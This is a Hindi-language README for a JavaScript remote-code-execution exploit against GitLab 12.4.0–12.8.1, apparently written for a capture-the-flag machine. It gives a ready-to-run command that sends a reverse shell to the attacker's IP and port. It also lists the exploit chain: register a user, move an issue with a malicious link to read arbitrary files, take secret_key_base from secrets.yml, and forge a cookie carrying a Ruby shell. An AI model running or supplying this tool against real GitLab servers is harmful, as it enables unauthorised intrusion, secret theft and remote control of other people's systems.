GitLab v12.4.0-12.8.1 RCE
पूरी तरह से https://github.com/dotPY-hax/gitlab_RCE पर आधारित, जो मेरे लिए काम नहीं किया और HTML पार्सिंग का काम बोझिल लगा, इसलिए मैंने इसे js में फिर से लिखा।
उपयोग
सामान्य तरीके से एक रिवर्स शेल हैंडलर शुरू करें, फिर इस स्क्रिप्ट को इस प्रकार चलाएँ:
TARGET_URI="https://target" TARGET_EMAIL_DOMAIN="laboratory.htb" \
TARGET_USER="test" TARGET_PASSWORD="Test pass 123" \
LOCAL_IP="10.10.14.142" LOCAL_PORT="44044" \
node gitlab_rce.js
प्रॉक्सी को TUNNEL_HOST="127.0.0.1" TUNNEL_PORT="8080" के साथ निर्दिष्ट किया जा सकता है।
इसके लिए डिबगिंग में Burp विशेष रूप से उपयोगी है।
यह क्या करता है
- जांचता है कि लक्ष्य उपलब्ध है या नहीं
- यदि प्रदान किया गया उपयोगकर्ता मौजूद है, तो 5 पर जाएँ
- एक ऐसा उपयोगकर्ता नाम खोजें जो पहले से मौजूद न हो
- उस उपयोगकर्ता को बनाएँ
- साइन इन करने का प्रयास करें
- दो खाली प्रोजेक्ट बनाएँ
- पहले प्रोजेक्ट में एक नया इश्यू टिकट बनाएँ जिसमें एक दुर्भावनापूर्ण लिंक हो
- नए टिकट को दूसरे प्रोजेक्ट में ले जाएँ, जिससे GitLab हमारे दुर्भावनापूर्ण लिंक को फिर से लिखता है और उस फ़ाइल को कॉपी करता है जिसे यह uploads निर्देशिका में इंगित करता है
- लक्ष्य फ़ाइल प्राप्त करता है, इस मामले में हम secret_key_base के लिए secrets.yml चाहते हैं
- secret_key_base का उपयोग करके एक दुर्भावनापूर्ण कुकी बनाएँ जिसमें हमारा Ruby शेल हो और इसे GitLab को पास करें